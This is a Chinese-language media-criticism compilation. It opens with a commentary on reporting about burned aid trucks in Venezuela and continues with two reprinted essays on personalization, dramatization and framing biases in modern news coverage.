但是在周六晚上，“纽约时报”发表了一篇带有详细视频的文章，证明了整个故事都是谎言。人道主义卡车没有被马杜罗的部队纵火。他们是被反马杜罗的抗议者焚烧了。那么谎言是如何传播的：就来自政府官员，被那些盲目地重复谎言的媒体扩音。

「图」

「图」

虽然纽约时报的文章和视频是非常好的和必要的新闻，但他们暗中声称自己暴露这种谎言的功绩是完全不应得的。那是因为独立记者——那些质疑而不是盲目地重复政府主张并因此被嘲笑和被边缘化的记者—— 在事件当天就使用了同样的证据来揭穿卢比奥，庞培，博尔顿所说的谎言，也就是**CNN**传播的东西。

2月24日，谎言传播的那一天，Max Blumenthal 在委内瑞拉的独立媒体 Grayzone 网站上写道，“这个说法很荒谬”，并指出他“亲眼见证催泪瓦斯罐击中了各种可以想象到的车辆，我从来没有见过像在桑坦德桥上爆发的那种火焰。“ 他编写了大量证据，强烈暗示卡车被反马杜罗抗议者点燃，包括彭博视频所显示的鸡尾酒瓶，表达对主流叙事的严重怀疑。在推特上，为了回应马可·卢比奥的谎言，他写道：

「图」

「图」

与此同时，其他人使用了纽约时报引用的完全相同的证据，表明这是反马杜罗的抗议者，而不是马杜罗部队在纵火。要知道，他们在事件发生后的几个小时内就揭穿谎言，而不是纽约时报的三周后—— 但不用说，他们被美国媒体忽视了：

「图」

「图」

所以说“纽约时报”如此自豪地报道的所有内容事实上已经被周知数周了，并且已经有大量人员使用大量证据进行了详细报道。但由于这些人普遍对美国政府的主张和对其外交政策的批评持怀疑态度，他们被忽视和嘲笑，并且通常被禁止出现在电视上，而政府及其盟友在企业媒体上说谎，如同一直以来那样，通过这些热门平台来传播他们的谎言，没有任何挑战或异议，就如关于如何维护国家电视台的手册中所写的那样。

事实上，那些质疑关于燃烧卡车的原始主张、或者引用这些证据来证明当权者撒谎的人从来没有机会在国家电视台上表达他们的不同意见。他们不被允许。他们会被诽谤为马杜罗的辩护者—说实话—就像那些试图打击2002年和2003年的宣传的人被扣锅为亲萨达姆一样。只有卢比奥，博尔顿，庞培和其他各种美国官员被允许在没有任何挑战的情况下散布他们的谎言。

值得注意的是，这并不是政府和媒体第一次在委内瑞拉有关的事件中撒谎。哥伦比亚和委内瑞拉之间的一座桥梁的照片在世界各地传播，用来证明马杜罗正在阻止人道主义援助。

但是，加拿大广播公司—他们的巨大功劳—发表了一个长篇道歉，并指出他们也因为发布桥梁的照片来支持这种说法，但事实上是，这座桥梁由于紧张局势已经在几年前就关闭了而不是现在。要知道，很少有传播这种谎言的美国媒体提供类似的更正或道歉。

同样错误的是广泛流行的媒体声称是“马杜罗拒绝允许任何人道主义援助进入委内瑞拉”。那也是一个彻头彻尾的谎言。委内瑞拉政府允许从没有威胁要通过外部政变推翻总统的国家向其提供大量援助; 马杜罗只阻止来自那些威胁委内瑞拉的国家的卡车和飞机进入。任何国家都会做的事。

实际上，红十字会和联合国都"表达了对美国“人道主义援助”的担忧"，理由是它是政权更迭的借口，并将人道主义援助政治化。甚至NPR也承认“美国向有需要的委内瑞拉人分发大量食品和药品的努力不仅仅是一项人道主义任务。该行动还旨在煽动委内瑞拉的政权更迭—这就是为什么许多国际援助界都不想与之相关的原因。“

鉴于美国在委内瑞拉领导政策的特使 Elliott Abrams 曾经利用“人道主义援助”作为走私武器和其他工具来推翻他不喜欢的拉丁美洲政府的骗局，这种担忧显然是有效的—美国媒体报道中很少提及的另一个事实。

我们在这里看到的是经典的虚假新闻—在Twitter、美国官员和美国媒体明星上传播—以明确和恶意的方式展开战争。但是，支持社交媒体审查的人不会要求取消他们的帐户，也不会要求删除他们的帖子。那是因为“假新闻”和反对它的战争严格来说是打击美国对手宣传的手段; 这些反假新闻的十字军都没有要求关闭这些新闻。

而下一次谎言发生时，那些揭露谎言的独立记者和分析家将再次被忽略，或充其量只是被嘲笑。与此同时，那些不加批判地放大和传播这种危险谎言的媒体和外交政策界人士将被视为“严肃的人民”，被视为唯一值得听取的人。除了罕见的例外，委内瑞拉的异议将继续被禁止。

这样的结果是因为美国媒体在设计上不允许对美国外交政策持不同意见，尤其是涉及美国的对手时。这就是为什么不同意见在很大程度上已经从主流媒体中消失了，就像它们在2002年和2003年所做的那样。

这并不是因为美国媒体明星被命令这样做。它们不需要命令。他们知道宣传是他们的工作。更重要的是，他们是爱国者，他们尊敬美国官员，因此在他们的大脑中并没有一个叫批判性思维的单元。附加 IYP 曾经的分析《媒体，你真的知道什么是事实吗？》

看一个视频吧：

NYT’s Exposé on the Lies About Burning Aid Trucks in Venezuela Shows How U.S. Government and Media Spread Pro-War Propaganda. That’s not because U.S. media stars are ordered to do this. They don’t need to be ordered. They know propaganda is their job. More to the point, they are über-patriotic jingoists who revere U.S. officials and thus do not possess a single cell of critical thinking in their brain.

广告

原文

现代新闻之愚蠢并非意识形态倾向性问题 (1) 政治真的没那么重要 - iyouport

关于真实的“媒体”-真相衰变

【2019年1月22日存档】IYP 不做“新闻”，是不做当下这种市场“新闻”。我不知道该叫它什么，但是它肯定不是新闻，如果你将其理解为传统意义上的那种能满足大众知情权的新闻，那只能失望。不，并不是虚假问题，虚假并非新闻，“假新闻”本身就是个自相矛盾的概念，而现代“新闻”的问题比虚假更为严重。本系列文章希望能解释为什么会这样。遗憾的是，或许，它也只能被称之为“新闻”...

不论是在新闻业内还是外，经常能听到类似这样的奇怪问题，询问：“某某媒体是左翼还是右翼？”这个问题的提出纯粹属于不懂新闻业生产方式。本系列文章的主角全部是新闻业，而不是宣传机构，于是您可以不必考虑那些作为权力传声筒的东西。

> 把自己的叙事方式强加于某事是作家常做的工作。你把一堆材料加工成文字，就是把自己的叙事方式强加于某事。作家必须怎么做。同样，记者的义务就是要假装他们从来不这样做。记者声称，相信故事会从这些材料里自然而然地产生 .....就像沼气从潮湿腐败的植物中自然产生那样，升腾而起，扑面而来——
> 美国著名记者、电影制片人 *Nora Ephron*

就在最近，看到了一些中国的充满新闻理想的记者们在探讨关于“如何写出美国主流媒体那样的报道”，不禁五味杂陈。他们指的明显是现代“新闻”，那种令人啼笑皆非和怅然若失的东西。

这样的新闻无法为民主服务，更无法推动变革，即便您模仿得再惟妙惟肖，其结果也与新闻之价值完全无关。

中国用户使用 twitter 和 Facebook 应该已经有很多年了，至少部分用户可能围观过两界美国大选。2016年这次发生的事大多数人都能印象

深刻，人们也许能记得当特朗普胜选后，一众主流媒体“惊人的预测错误”居然成为了选举后各大新闻节目的头条内容，人们讽刺他们说，“不论怎样这些媒体总是有题目做”。

其实往届大选也是如此状况。如果您始终关注过2008年的大选报道，就会发现，奥巴马的胜出就如2016年特朗普的胜出一样，被认为是“出人意料”的。因为早在初选还没结束的时候，全国上下几乎所有媒体都已经宣布希拉里胜出—— 不仅是获得民主党提名，简直就是确定稳坐白宫了。当时 Saturday Night Live 有一个讽刺短剧，其中有这样一幕，主持人对其他候选人说：“你们都回家吧，因为媒体已经宣布希拉里获胜了”。

这是一个当年很著名的梗。这不是僭越吗？选举轮不上媒体做决定好不好，没错。媒体之所以如此惊人地得出这样的结论，根据的是竞选初期的各种民调。2016年大选期间你一定记得民调是多么的不靠谱，然而却被一众评论砖家解释为“特朗普的隐形信徒”，隐形信徒肯定有，但是，这种说法只是在拼命将民调和媒体的不靠谱强加在特朗普的“特点”上，然而，它只能骗外国人，在美国这种不靠谱是非常有传统的。

您玩过跑马吗？几乎每个美国人都知道，总统大选的报道跟赛马没什么区别，在整个过程中记者做的唯一一件事就是猜测“谁会赢”。事实上所有理解民主制度的人都能知道，选举过程中媒体提供的服务应该是尽可能多的关于候选人的真相，充分满足选民的知情权，选民才能做出准确的判断。但是这个时代的媒体完全没能尽到这一义务，他们就像赛马场的解说员一样，目的只是想让人们兴奋起来、赶紧下注，更多的流量和广告费。

美国国家公共广播电台的分析员 Cokie Roberts 曾经总结道：“甚至民调专家自己都在说，不要太专注谁输谁赢，而是应该更多关注其他问题 …… 但我们就是没办法不去谈输赢”。

如果您觉得赛马式的新闻“没什么问题”，好的，但必须知道，实际上大量的竞选新闻都是些道听途说的小道消息，来源就是候选人的竞选班子成员，他们的主要工作就是挖空心思打听竞争对手的弱点，希望选民能对竞争对手产生怀疑。他们通过媒体来放大这一影响。

也许您会说，他们只要说的是真话，完全应该被媒体报道啊，没错，但他们通过的不是媒体/新闻，而是—即 本文的主题—“现代新闻”，这种宣传利用了现代新闻最严重的几个弊端。后面逐一分析，关于为什么如今的新闻已经无法服务于民主。

意识形态倾向性并不是关键问题

就如开头所说，用意识形态倾向性来划分媒体的方法是外行的误解。

但这种误解非常常见，许多人将信息体制的整体问题归咎于记者本人的意识形态或党派倾向性。民意调查显示，大多数人认为记者在采写新闻时甚至没有把事实搞清楚，就把自己的政治倾向放进了新闻中。而且持这种观点的人从10年前开始就越来越多了。2010年的调查显示，55%的受访者相信，与政治献金相比，媒体的意识形态倾向性是更加严重的问题（社会上的主流价值观一直认为是钱的问题才是大问题）。

民调结果确实证明记者比一般人更倾向于自由主义。但是，上述观点错误在于，它假定记者个人的倾向性一定会反应在他们的新闻报道中。但事实不是这样，记者自己的意识形态倾向极少影响他们的职业判断（研究报告参见：Thomas E. Patterson and Wolfgang Donsbach, “News Decisions: Journalists as Partisan Actors”）

其实不需要太多研究报告也能明白这点，在职记者不可能在一种想报什么就报什么的状态下工作，因为新闻机构需要把关，不论标准是什么，绝大部分记者都不可能让那些充满个人意识形态的东西骗过主编和老板的眼睛。这其中有一些例外，但绝不会很多，比如 Fox News 他们自己的标榜就是保守派，或者 MSNBC 自己宣称自由主义，这是他们有意突出自身特点的结果，这种情况非常少。

总体而言，对媒体来说，吸引眼球比凸显政治色彩，更加重要。目的是流量也就是广告收入，政治并没那么重要，很多情况下基本不被考虑。也许您已经意识到了在2016大选前和大选后两个临近的阶段，主流媒体对特朗普的“态度”似乎出现了明显的转变，其实这一点都不奇怪，正因为政治意识形态真的没那么重要。

媒体的政治角度大反差方面最典型的案例应该是小布什，几乎经历了戏剧性的全部喜怒哀乐。从911后头几年，大部分主流媒体对布什政府的报道都是按照政府意图执行的，成功的新闻管理也使得小布什的支持率达到了历史新高。在他风头最盛的时候，他乘坐直升机降落在林肯号航母上，得意洋洋地宣布，“取得对伊战争的重大胜利”。这是现代“新闻”史上最经典的镜头之一，被拍得就像好莱坞的《壮志凌云》。但是好景不长，由于政府在卡特里娜飓风灾难中人道主义援助不力，加上国会民主党人的指责，批评性报道高涨，形势急转直下。

整个就像过山车一样。如果任何人坚持认为媒体的意识形态倾向在起

决定性作用的话，就无法理解这种精神分裂一般的摇摆。新闻职业道德的核心就是公正，不可能允许记者代入个人倾向。但是，由于面对巨大的经济压力，很多媒体不得不报道更多具有轰动效应的新闻，关键字是轰动，而不是意识形态，因此在某些地方，这一准则有可能被弱化。

总体来说，即便记者自己有失公正，编辑也必然会帮忙修正。在一个庞大的试图以中立的产品适应市场需求的新闻行业中，记者只不过是一个小小的齿轮。新闻学者 Everette Dennis 曾经准确地解释过这一问题：

> ……对于媒体来说，利润才是最重要的。新闻越来越受到市场力量和消费者细分的影响。如果报道不够公正或者存在偏见，不管出自有意还是无心，都很可能会因此失去观众，这对于新闻机构来说是毁灭性的，得不偿失的。最重要的是，发行商、公司管理层和集团大老板绝不允许这种情况发生。他们始终都是主宰这个行业的大佬。

那么，关于新闻从业者在新闻报道中“存在明显政治倾向”这样的看法是从哪儿来的呢？

首先，在涉及政治和价值取向的问题上，倾向性的存在往往是见仁见智的事。调查显示，中间派一般认为媒体比较中立；左派经常认为媒体太保守；右派则更多认为媒体太左 (PDF: The Hostile Media Phenomenon: Biased Perception and. Perceptions of Media Bias in Coverage of the Beirut Massacre) 由于长期以来保守派对媒体的批评较多，于是强化了人们关于媒体意识形态偏见的看法。目前几乎所有人都知道特朗普批评媒体，但是批评媒体在美国保守派政治历史上并不罕见，最著名的比如尼克松，一再指责新闻界偏向左派。再比如众所周知评判家 Noam Chomsky 的声音很少能出现在主流媒体上。这些历史都给人们留下了某种印象。

虽然说保守派更喜欢公开批评媒体，但事实上对媒体的批评左右都有，而且左右都收集了大量的证据来证明自己的观点。代表保守派利益的是“准确报道(AIM)”，代表自由主义利益的是“公正和准确报道(FAIR)”, 网站都是 .org。

我们的确能看到媒体在政治上的左右摇摆，但这种摇摆更多是由于政治权力的平衡在保守阵营和自由阵营之间不断变化的结果，是新闻导向指征原则投射在新闻事件上形成的。新闻业的确是秉持中间立场

的，但是随着政治矛盾反复摇摆，这个“中间立场”也在不断变化中，所以60年代时的“中间”事实上偏左一点，而最近这个“中间”是偏右一点的。这是政府内部的权力制衡的结果，而不是固有的政治意识形态倾向。

党报有什么问题？

事实上，政治倾向即便存在也可以不是问题。在19世纪商业报纸出现之前，具有党派倾向性的新闻非常普遍。

Thomas Jefferson 曾经设想，一个社区应该有很多不同党派倾向性的新闻资源，当然并不是说一个人要读完所有新闻资源才能找到自己认为的平衡点。半个世纪前著名的哈钦斯委员会就曾经探讨过这样一幅场景：在一个各种具有党派倾向性信息并互相竞争的社会环境下，公众的意见如何达成一致。（Free and Responsible Press, From Robert D. Leigh）

> 其基础是相对简单的社会结构和丰富的社会交往，不同的观点得以在面对面的场合下碰撞交锋。值得期待的是，地方性的言论自由市场里，真理越辩越明。

请注意，这里指的是辩论，而不是如当下社交媒体上那种争论，后者是无效的。并且，集中化的社交网络只能促进两极化观点之间的分裂而不是碰撞，几乎没有任何碰撞的机会。

- 更多详见《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图》

哈钦斯报告明确指出，我们现在生活的社会环境已经与过去全然不同，早在50年前，那种具有明显党派倾向性的新闻彼此竞争的情况就已经不存在，而人们生活的环境也不再是过去那种联系紧密的社区，不可能就某一问题进行充分的思考和辩论，于是很难通过这一模式对形势有充分的理解。

不管是好是坏，现在的新闻已经采取高度统一的形式，以一种中立的形象呈现，人们需要自己从中得出他们个人化的观点，而在这一过程中，他们基本上没有机会与同自己相左的人进行任何思想交锋。

美国建国之初的新闻业是民主模式的，那是美国的立国基础，但发展到今天，现代新闻业被赋予了更多的责任。特别是，人们认为媒体应当担当起挑战“主流观点”的重任，因为一个观点之所以成为所谓的主

流，正是因为被政府或利益集团利用和宣传的结果。

新闻媒体就应该跳出这个篱笆墙，应该代表人民，更多报道那些很少有机会跟大家交流的团体，倾听它们的诉求。但不幸的是，在大部分情况下，媒体并没有能担当起这一重任，他们变成了“主流”的一部分，变成了市场眼球的傀儡。

其结果是，在很多重要的问题上，那些本应该出现在新闻中的丰富的思想和观点都没有出现。所以人们也就无从了解这些思想和观点，无法利用它们帮助自己真正理解问题，更不用说思辨了，压根没机会。

媒体所做的事更多是痴迷于发现最具戏剧性的故事（往往也是被粉碎得最完美的故事），而非专注于对事件进行更深层次的探究，这种做法导致了主流媒体的信息严重雷同。你可以说表面上看美国媒体比其他国家的媒体似乎更自由一点，至少在新闻报道中是这样，但是，当被问及对一个假定的新闻题目准备如何展开报道时，美国媒体暴露出最严重的趋同性—— 他们几乎异口同声地回答了一模一样的报道模式（Thomas E. Patterson, “Irony of the Free Press; Professional Journalism and News Diversity” ）.

您一定有这样的经验，当搜索一组新闻关键字时，您能得到成千上万的结果，在同一时间内其中绝大部分内容是几乎完全雷同的，给人一种感觉就是，同时关注任何两家媒体都是一种精神浪费，因为你得到的是同样的东西。

在此，信息消费者已经学得非常随和，从曾经的质疑“这是为什么”，到如今变成了，仅仅查看“谁还没有报道这件事”。这其间已经自动放弃了很多的价值。

倾向性的确有，而且很严重，虽然无关意识形态

现代新闻存在一系列倾向性，而且是一种深层次的倾向性，它分为四个方面。

简单说就是，媒体往往比较热衷于新闻中的戏剧化和个人化的故事，而非新闻事件所映射的复杂政治现实。由于对新闻人物个人以及戏剧化情节的过分关注，媒体对政治事件的报道显得零碎和混乱。观众经常被吊足了胃口，就像等肥皂剧那样等着每天的新闻故事更新。结果是，等到了一堆鸡零狗碎：这儿动乱啦、那儿出了异常、局面被控制了、谁又说了什么，等等，而不是认真地解读新闻背后的政治意义。

上述提到的布什的“壮志凌云”版的“使命达成”特写，就是典型案例。连续几个星期，电视新闻不断播放这个画面，总统的人气一下子达到了最高点。而这种表述的问题就在于，那个时候伊拉克战争正在逐步升级，而“使命”远远没有达成。

人们应该想想看，这个特写镜头还有没有其他报道的方式？

新闻框架理论(framing)指的是新闻报道选择某一个或某些个主题加以强调，把它们与故事的其他要素联系起来。新闻框架会吸引我们的注意力，就像相框能把人的目光集中在框架内的画面上那样。新闻框架就是将场景、人物、行动以及相关的证据支持等内容放置在主题之下，并赋予这些内容以深意。

事实上有很多不同的新闻框架可供媒体选择。比如布什的军队背景复杂、疑点很多，而他却摆出一副“壮志凌云”的样子，这是不是很维和呢？这一瞬间的特写在各大电视台播出时真的给人一种误导，似乎战争结束了，胜利了，事实上完全没有。以这种框架进行报道，事实就被新闻排除在外了。“战争仍在继续”，连布什自己都这么说。

这种简单化的框架并不关注复杂的事实，它关注的是戏剧化的表达方式、个人化的情节、以及夸张的情感诉求。新闻完全可以将关注点放在这种好莱坞特写的背后，揭露政府是如何雇佣电视导演和公关专家来影响公众看法的，即 我们常说的宣传。

但是，主流媒体完全无视新闻舞台背后的故事，只突出白宫精心设计的新闻舞台—— 是舞台，就像特朗普对Twitter的利用那样—— 总统扮演明星，这就是《景观政治》的传统阶段。

当时的确有一些记者从白宫主导的新闻框架中跳了出来，给观众展现了更多更现实的画面，然而他们却被指责为自由主义倾向和“不爱国”。结果是，ABC、NBC、CBS 所发表的 414 篇关于伊拉克战争的深度报道中，有**380**篇完全是白宫的指示和框架（Brent Cunningham. Columbia Journalism Review 4; Jul/Aug 2003）

公众会怎么想？民调显示，在伊拉克战争恶化后的好几个月里，大部分公众依旧相信从电视新闻上看到的那些内容，支持政府设置的新闻框架。后来局面越来越乱，政府内部的反对声音才浮出水面，媒体这才打开了新闻的门。但是，新闻框架的突变存在一种风险，会让公众有一种上当受骗的感觉，从而变得无所适从，不知道该相信什么了。这就是为什么公众越来越愤世嫉俗，对媒体和政治越来越失望。（Spiral of Cynicism: The Press and the Public Good）

传播学学者 Shanto Iyengar 在总结新闻框架的倾向性时表示，新闻大多是“情节式新闻”，而不是“主题式新闻”。“情节式新闻”把记者和公众空投到一个已然的情景当中，关注的是矛盾冲突中的人。也就是说，这样的新闻是个人化的、戏剧化的、支离破碎的。

与此相反，“主题式新闻”则突破眼前的戏剧场景，挖掘新闻事件的根源，剖析更深层次的社会、经济和政治背景。而 “情节式新闻”的泛滥让人们对整个世界的认识都变得肤浅。

新闻是造成人们对社会问题的认识变得肤浅的原因之一。如果人们将一个国家的贫穷、犯罪、到世界人口爆炸和战争全部归咎于“个人”，那么政治人物和选民就不可能通过公共传播过程寻求到解决问题的方案。

当个人化、戏剧化元素的运用使报道脱离了大的社会、历史或政治背景，新闻就无法为受众了解事件真相并进行思考提供基础。

为什么如今鼓励政治参与的新闻内容如此之少？正是信息的各种倾向性的一叶障目，使人们看不清事件背后的大背景。相比下新闻意识形态倾向性的后果是非常小的，四种最重要的现代新闻倾向性才是民主的主要威胁。

我们已经兴奋地看到中国社会兴起了“非虚拟写作”，并且越来越多的中国媒体人开始模仿美国媒体的“写法和拍摄方法”，但是，如果您模仿的是主流媒体，其结果只能是，您根本学不到新闻，也无法令您的作品对社会和政治起到促进的作用。

下一篇文章开始具体分析这四种倾向性。●

——未完待续——

原文

现代新闻之愚蠢 (2)—四种最致命的倾向性 中国人更可怜 - iyouport

关于真实的“媒体”-真相衰变

【2019年1月23日存档】我们对捍卫新闻自由、守护记者安全的大原则永远不会改变。本系列文章说的是另一码事，即 如何让新闻依旧是新闻、依旧是民主支柱的问题。因为现在它不是。尤其是当下的中国信息消费者，还从来没有品尝过真正新闻的强大力量，现代“新闻”的愚蠢将更加难以被甄别

如果您还没有读过 (1) 在这里看到。

民主对公共信息质量的期望一直很高，也应该很高。我们中很多人都在历史书上读到过有关媒体从业人员捍卫真相和言论自由的英雄故事，他们的名字被篆刻在新闻自由的丰碑上。

全世界都知道，正是地下出版物的政治言论和反对《印花税法案》的抗争最终引发了美国独立战争，而曾格案给人们带来的“事实并非诽谤”的警示历经岁月洗礼，至今仍然掷地有声—— 1735年，纽约出版商 John Peter Zenger 因发表了抨击英国总督的文章而受审，代理律师进行了成功的辩护，此案被认为是美国新闻自由的奠基。

那些名垂青史的新闻从业者的目标崇高而坚定：为了人民能够享有准确、清晰、独立、具有批判性、启迪心智的政治新闻报道。但如果曾格生活在现在，他很可能会怅然若失。

很多人读过《1984》，也知道 George Orwell 曾经是记者；同样有很多人看过热门电视剧《黑镜》，也了解其编剧 Charlie Brooker 是记者出身。同样是反乌托邦作品，同样是新闻出身的创作者，但是你能清楚地体会到这两位作者有着截然不同的素材处理方式，这两部作品的手法基本能代表真正的新闻和现代“新闻”最根本性的区别。

不管你喜不喜欢，今天的“新闻”已经变成了批量生产的大众消费品，

与历史书中的新闻的定义相去甚远了。从电报到卫星、再到数码相机、互联网，通信技术一直在不断发展，而技术进步与媒体公司利益驱动的互相作用创造出一种最普通的、迎合大众、平衡各方利益的信息模式。

为什么公共信息已经越来越难以促进民主事业的发展？正是因为四种深度的倾向性。

I 个人化

如果说如今的“新闻”有什么致命性的问题，那就是，整个传媒界都弥漫着一种势不可挡的趋势—— 即 将所有重大的社会、经济、政治问题，简单化、表面化，从个人体验、人生悲剧以及成败输赢的层面进行报道。

出现这种现象的原因有很多，有些时候是因为记者担心调查性报道会让受众望而生畏，有时是因为记者觉得相对来说，从人情味角度入手比深入剖析来龙去脉更容易一些。不论关注对象是英雄还是受害者、或者无赖、罪犯，媒体对个人化、人情味新闻的偏爱都造成了“只见树木不见森林”的信息倾向性，公众很难透过挤在媒体镜头前的众多“演员”看清新闻事件的全貌—— 或者准确说是体制问题。

如果人情味报道方式能把观众引到对问题的严肃分析上来，那么也就不会那么令人担忧了。自古希腊以来，几乎所有伟大的文学作品或戏剧都是通过塑造富有感染力的人物形象来唤起受众的认同和反应，并依此促成对重大道德和社会问题的思考。

但是，现代“新闻”停留在个人故事发展层面，即使事件本身蕴含什么深层次的经验教训和需要进行反思的社会意义，那也只是留给公众自己去想象。

因此，个人化新闻的主要问题在于，没有把对个人的关注与新闻事件更深层次的背景分析联系起来。英国戴安娜王妃去世的新闻炒作中，有的报道甚至使用了这样的句子“她就是我们每个人的映射”，完全不知所云的程式化语言就被算作是新闻分析了。

类似的例子比比皆是，整个新闻界充满着这种体制性的倾向。中国读者对这类报道和名人炒作再熟悉不过了，我们后面的文章还会有深度分析。

II 戏剧化

“新闻“最愿意突出表现的就是能被戏剧化处理成简单故事的那些元素，而相比之下，分析性的新闻、政治辩论、或科普类的报告却很少出现。记者最擅长的是讲故事。既然是在讲故事，那必然就需要戏剧化，尤其是故事的中心线，应展示个性鲜明的演员。

戏剧化的新闻重危机而轻常态，重现在而轻过去和未来，关注中心人物之间的冲突或关系。新闻戏剧将复杂的政令、政府机构运作以及新闻事件中心人物背后的权利问题等等公民必需知晓的东西都简单化处理了。对这个时代的痼疾—— 不平等、饥馑、能源危机、人口压力、环境恶化、有毒废物、政治压迫等问题，严重缺乏持续的关注和分析。

下图中描述了两个被简化到失真的概念：

虽然我们面临的问题非常严重，但从日常角度上看，如果其戏剧性冲突不够，那么就无法构成新闻，除非有突发的危机出现，满足了“权威-失序”叙事结构的条件，新闻才会予以关注。这是个死穴。

应该有很多人有过这样的体验，自己认为非常重大的事件和经历无法引起媒体的兴趣，已经有人开始奇怪为什么主流媒体对马云、王健林的兴趣如此之大，却对民间受难者漠不关心，除了上篇文章中介绍的原因之外，戏剧性是另一个主要原因。

- 我们在短篇文章《如何才能引发媒体关注》中介绍了一些活动家如何与媒体合作的技巧。

对媒体来说，危机是最好的新闻素材，因为只有危机才符合新闻戏剧性的要求。“危机周期”是精彩纷呈的，人物形象鲜明，情节跌宕起伏，最后总能在人为努力或人道主义援助下戏剧般地结束。看起来一切都是那么美。

但是，要知道，新闻所展现的危机周期只不过强化了人们的一种普遍共识：人类所面临的巨大困难是无法避免的，因此也是可以接受的。当“困境”可以掌控的时候，危机就算解决了，虽然深层次的问题仍在持续不断加剧。

我们没有仔细研究中国媒体的报道方式以及对“周期”的处理，鉴于中国媒体和美国主流媒体合作的长期性及接受后者培训的事实，想必在模式上区别不大。在读者的角度上，这种报道会造成一种错误印象，即 国家/政府总是能化解问题，甚至“依赖国家/政府是最佳选择”。事实上国家/政府并非解决问题的方案，正相反，很多问题都是他们造

成的。

- 更多见我们的中国年大礼包：国家是问题的一部分，而不是解决问题的方法《墨西哥：抵抗运动的火山》

必须说，和个人化倾向一样，戏剧化本身也不是彻底的坏事，戏剧可以帮助我们感受历史、科技、政治和人际关系的伟大力量。如果戏剧被用来激发人们思考，那就是有意义的。但是，如果戏剧只被当作一种廉价的情感规矩，只为表现人的冲突、艰辛、脆弱、或者干脆沦为闹剧，那么新闻原本具有的潜在启迪心智、释疑解惑的作用，就会沦为只能刺激兴奋、愤怒情绪的泡沫剧，更加难以动员反抗。

多媒体时代的到来前所未有地加强了新闻戏剧化的声调，照片、图像和实景视频使新闻具备了更充分的戏剧效果，而民间流传着新的价值观“有图有真相”，但真的是这样吗？我们暂时不谈视觉效果造假的危害性以及它已经变得多么的便利，可参加这篇报告《当恶意者掌握技术：信息战的未来究竟有多可怕？》

的确在很多情况下特别是电视新闻领域，画面能够帮助记者、编辑决定哪些事件值得进行报道，以及如何报道，在新闻制作过程中强调视觉效果也无可厚非。

但是，确实存在这样的问题：一些重要的新闻只是由于画面难以拍摄而没能被报道；而一些无关紧要的事件只不过因为视觉效果完美，就变成了新闻。简单说就是，善于表演的人才能最终胜出—在各种方面。

反过来这便促成了一种新的政治形式：景观政治。

我们强调过，政治是媒体的政治，任何媒体时代的伟大政治家，特别是颠覆性的暴发户，都是媒体的娴熟采用者。其实一直以来都是如此，

当年不为人知的亚伯拉罕·林肯和斯蒂芬·道格拉斯之间的辩论在他们那个时代引起了媒体的轰动，被广泛报道，并为林肯两年后突然升入白宫铺平了道路；肯尼迪/尼克松在1960年的电视辩论中，一个年轻而喜气洋洋的肯尼迪很容易压倒一个阴沉的连胡子都没刮干净的尼克松，如今，这类关于电视的政治影响的案例研究几乎铺天盖地。特朗普是一个真正的电视明星，他能主宰有线电视新闻，同时可以通过Twitter 让世界陷入停滞的焦虑状态。这就是为什么他能一直占据新闻头条。

在最近出版的一本书《The Revolt of the Public 》中，Martin Gurri 提出，社交媒体的最终腐蚀作用正在破坏政府或新闻界等公共机构的整体信誉。

我们曾经在《中国政府已攀上景观政治的边缘》和《互联网时代：并非心理学意义上的自恋文化》中介绍过这一问题；再推荐一本书，法国思想家 Guy-Ernest Debord 的《景观社会》（法语：La Société du spectacle）这本书出版于1967年，准确地预测到了如今这个表演者的世界。

这就是为什么新闻越来越难以服务于民主。新闻媒体对我们日益恶化但却富有娱乐性的政治局势做出了贡献。特朗普先生是总统，部分原因就是因为他很有娱乐性。对电视新闻的研究表明，恐惧政治的推广是娱乐和耸人听闻的报道的副产品，它能很好地创建收视率。

当代新闻实践越来越多地融入了提供视觉和图像的新信息技术，特别是便携式相机和智能手机的兴起。大多数美国电视新闻的娱乐形式促进了视频或其他视觉效果的使用，这些视觉效果具有戏剧性、冲突性和情感性。屏幕图像主导广播新闻以及社交媒体。对许多地方，国家和国际新闻报道的调查揭示了我们当前的“新闻代码”如何运作。基本上这是个视觉的时代。尽管意图可能是使用视觉效果来讲述某些故事，但使用的逻辑相当于讲述有关手头视觉的故事—— 能满足那种格式标准的事件更容易被广播。

过去40年的研究表明，政治家、以及其他能提供视觉事件或具有表演型人格的人更有可能被新闻报道选中。我们已经记录了这种格式驱动的媒体报道对体育、新闻、政治、教育和宗教等社会机构产生的深远影响。

当代新闻实践延续了这一趋势。事实上，即使是著名的晚间网络新闻节目也采用了这种方法，特别是当社交媒体提供了看似无处不在的大量活动视频时，其中许多都发布在 Facebook，YouTube，Instagram 等上。随着新闻广播寻求更高的收视率，他们已经调整了他们对新闻项目的选择，包括在互联网和社交媒体上已经被观看过或已经病毒式传播的视觉内容，这应该不足为奇。

但这对于分配宝贵的新闻时间来说具有重要的影响，这些新闻时间会影响受众在国内和国际事务中能否获得重要的知情权。例如，在2018年12月11日，收视率领导者 NBC 晚间新闻（该新闻有46年的历史）选择将超过40％的重点新闻全部分配给了主要由可用视频驱动的内容。十五个新闻中有六个仅仅是因视觉材料而受到报道的。简要总结

一下这些：

1.第二个报道持续了3分钟：这是特朗普与民主党领导人南希佩洛西和查克舒默在镜头前会面的视频，总统威胁要关闭政府，如果他没有得到50亿美元的资金修边界墙的话。完全是镜头效果，可以更简要地总结一下。（ABC和CBS也有同样的内容）。

2.第7个报道持续了1:25：包括纽约警方强行将婴儿从母亲的怀抱中抢走的视频。这个视频也已在之前的新闻广播中展示过。针对该女子的指控目前已被撤销。一名官员说，这不是好警察办的事。

3.第12个报道持续了1:25：包括一个男人的视频，他在帮助一名在航空公司航班上癫痫发作的妇女。善良的撒玛利亚人也接受了采访。飞机上的两名医生说，没有理由中止飞行，在目的地可以获得更多帮助。事实上很可能有数百个飞行中出现过类似的医疗紧急情况，而且更多的不会被报道，因为没视频。（CBS报告持续1:30）。

4. 第13个消息持续时间：15秒：一个年轻人攀在公交车尾部的视频，被描述为冒险，并不是一个‘可以不买票的好主意’。没有任何新闻报道。

5.第14个报道持续了1:25：包括纽约警方的智能摄像机视频，敦促并协助人们从起火的建筑物中逃出来。粗糙的图像效果非常引人注目。

6.第15个报道持续1:15：作为“激励美国”版块的一部分（就像“感动中国”，一个意思），偏瘫的男子在钢铁支架的帮助下走上一个舞台，在佛罗里达国际大学获得文凭。如果没有视频的话，这应该是一个感觉不错的故事。

